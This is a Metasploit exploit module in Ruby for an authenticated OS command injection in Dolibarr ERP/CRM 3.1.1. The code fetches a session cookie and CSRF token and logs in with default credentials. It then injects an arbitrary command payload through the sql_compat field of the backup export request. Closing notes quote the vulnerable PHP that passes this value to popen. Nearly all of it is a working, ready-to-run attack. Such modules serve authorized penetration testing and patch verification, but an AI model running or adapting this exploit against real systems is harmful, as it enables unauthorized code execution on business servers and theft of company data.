Dolibarr ERP & CRM 3 Post-Auth OS Command Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
   'Description'    => %q{
     This module exploits a vulnerability found in Dolibarr ERP/CRM's
    backup feature.  This software is used to manage a company's business
    information such as contacts, invoices, orders, stocks, agenda, etc.
    When processing a database backup request, the export.php function
    does not check the input given to the sql_compat parameter, which allows
    a remote authenticated attacker to inject system commands into it,
    and then gain arbitrary code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',  #Discovery, PoC
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     ['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
    ],
   'Arch'            => ARCH_CMD,
   'Compat'          =>
    {
     'PayloadType' => 'cmd'
    },
   'Platform'       => ['unix', 'linux'],
   'Targets'        =>
    [
     # Older versions are probably also vulnerable according to
     # Nahuel's report on full disclosure
     ['Dolibarr 3.1.1 on Linux', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 6 2012",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('USERNAME',  [true, 'Dolibarr Username', 'admin']),
     OptString.new('PASSWORD',  [true, 'Dolibarr Password', 'test']),
     OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
    ], self.class)
 end

 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => target_uri.path
  })

  if res.body =~ /Dolibarr 3\.1\.1/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end

 def get_sid_token
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => @uri.path
  })

  # Get the session ID from the cookie
  m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
  id = (m.nil?) ? nil : m[1]

  # Get the token from the decompressed HTTP body response
  m = res.body.match(/type="hidden" name="token" value="(.+)"/)
  token = (m.nil?) ? nil : m[1]

  return id, token
 end

 def login(sid, token)
  res = send_request_cgi({
   'method'   => 'POST',
   'uri'      => "#{@uri.path}index.php",
   'cookie'   => sid,
   'vars_post' => {
    'token'         => token,
    'loginfunction' => 'loginfunction',
    'tz'            => '-6',
    'dst'           => '1',
    'screenwidth'   => '1093',
    'screenheight'  => '842',
    'username'      => datastore['USERNAME'],
    'password'      => datastore['PASSWORD']
   }
  })

  location = res.headers['Location']
  return (location =~ /admin\//)
 end

 def exploit
  @uri = target_uri
  @uri.path << "/" if @uri.path[-1, 1] != "/"
  peer = "#{rhost}:#{rport}"

  print_status("#{peer} - Getting the sid and token...")
  sid, token = get_sid_token
  if sid.nil?
   print_error("#{peer} - Unable to retrieve a session ID")
   return
  elsif token.nil?
   print_error("#{peer} - Unable to retrieve a token")
   return
  end

  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
  success = login(sid, token)
  if not success
   print_error("#{peer} - Unable to login")
   return
  end

  print_status("#{peer} - Sending malicious request...")
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => @uri.path + "admin/tools/export.php",
   'cookie'    => sid,
   'vars_post' => {
    'token'             => token,
    'export_type'       => 'server',
    'what'              => 'mysql',
    'mysqldump'         => '/usr/bin/mysqldump',
    'use_transaction'   => 'yes',
    'disable_fk'        => 'yes',
    'sql_compat'        => ";#{payload.encoded};",
    'sql_structure'     => 'structure',
    'drop'              => '1',
    'sql_data'          => 'data',
    'showcolumns'       => 'yes',
    'extended_ins'      => 'yes',
    'delayed'           => 'yes',
    'sql_ignore'        => 'yes',
    'hexforbinary'      => 'yes',
    'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
    'compression'       => 'none'
   }
  })

 end
end

=begin
Notes:

114    if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137    $paramcrypted=$param;
...
159    $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165    if ($handle)
166    {
....
169    $handlein = popen($fullcommandclear, 'r');
....
185    }
=end